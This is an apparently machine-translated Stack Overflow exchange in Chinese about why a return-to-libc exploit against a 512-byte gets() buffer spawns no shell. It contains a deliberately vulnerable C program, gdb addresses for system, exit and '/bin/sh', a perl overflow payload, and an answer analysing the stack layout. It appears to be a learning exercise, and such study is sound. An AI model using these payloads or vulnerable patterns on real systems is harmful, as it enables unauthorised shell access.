返回libc - 问题

ele*_*nor 8 c linux stack-overflow exploit buffer-overflow

我遇到了返回libc漏洞的问题.问题是没有任何事情发生,但没有分段错误(是的,我实际上是溢出堆栈).

这是我的计划:

int main(int argc, char **argv) {
  char array[512];
  gets(array);
}
Run Code Online (Sandbox Code Playgroud)

我使用的是gets而不是strcopy,因为我的地址以0x00开头而strcpy认为它是字符串的结尾,所以我不能使用它.

以下是我需要的地址:

$ gdb main core
(gdb) p system
$1 = {<text variable, no debug info>} 0x179680 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x16f6e0 <exit>
(gdb)  x/s 0xbffffe3f
0xbffffe3f:      "/bin/sh"
Run Code Online (Sandbox Code Playgroud)

输入正确的序列时,会发生这种情况:

eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main
eleanor@eleanor32:~/testing/root$
Run Code Online (Sandbox Code Playgroud)

所以什么都没有.

但是如果我输入520'A'(0x41),那么EIP会溢出'A'.如果有516'A',则没有任何反应,但EIP包含系统地址,在退出地址之后,在/ bin/sh指针之后.

什么都没发生?

osg*_*sgx 3

让我们先做一些汇编:

代码

$ cat gets.c
int main(int argc, char **argv) {
  char array[512];
  gets(array);
}
Run Code Online (Sandbox Code Playgroud)

汇编

$ gcc gets.c -o getsA.s -S -fverbose-asm
$ cat gets.s
    ....
.globl main
        .type   main, @function
main:
        leal    4(%esp), %ecx   #,
        andl    $-16, %esp      #,
        pushl   -4(%ecx)        #  (1)
        pushl   %ebp            #  2
        movl    %esp, %ebp      #,
        pushl   %ecx            #  3
        subl    $516, %esp      #,
        leal    -516(%ebp), %eax        #, tmp60
        movl    %eax, (%esp)    # tmp60,
        call    gets            #  << break here  
        addl    $516, %esp      #,  << or here to see the stack picture
        popl    %ecx            #  (3')
        popl    %ebp            #  (2')
        leal    -4(%ecx), %esp  #  (1')
        ret
        .size   main, .-main
Run Code Online (Sandbox Code Playgroud)

序言和尾声(这些带有对齐代码)在这里详细描述理解一些汇编语句的目的

堆栈布局:

(char)  array[0]
...
(char)  array[511]
(32bit) $ecx - pushed by 3 - it was the address on the stack of the eip which main will return to
(32bit) $ebp - pushed by 2
(32bit) $esp - pushed by 1 - change the $esp to the original value
Run Code Online (Sandbox Code Playgroud)

因此,如果要更改 main 的返回地址,则不应更改将要使用的堆栈中的地址ret,而应重复 (1),(2),(3) 压入堆栈中保存的值。或者,您可以在数组本身中嵌入一个新的返回地址,并仅用新的堆栈地址 + 4 覆盖 (3)。(使用516字节字符串)

我建议你使用这个源代码来破解它:

$ cat getss.c
f()
{
  char array[512];
  gets(array);
}
int main(int argc, char **argv) {
    f();
}
Run Code Online (Sandbox Code Playgroud)

因为 f 没有堆栈重新对齐的问题

.globl f
        .type   f, @function
f:
        pushl   %ebp    #
        movl    %esp, %ebp      #,
        subl    $520, %esp      #,
        leal    -512(%ebp), %eax        #, tmp59
        movl    %eax, (%esp)    # tmp59,
        call    gets    #
        leave
        ret
        .size   f, .-f
Run Code Online (Sandbox Code Playgroud)

堆栈布局f()

(char)  array[0]
...
(char)  array[511]
(32bit) old ebp
(32bit) return address
Run Code Online (Sandbox Code Playgroud)

f() 中 ret 指令处带有 520 字节“A”的断点

(gdb) x/w $sp
0xXXXXXa3c:     0x41414141
Run Code Online (Sandbox Code Playgroud)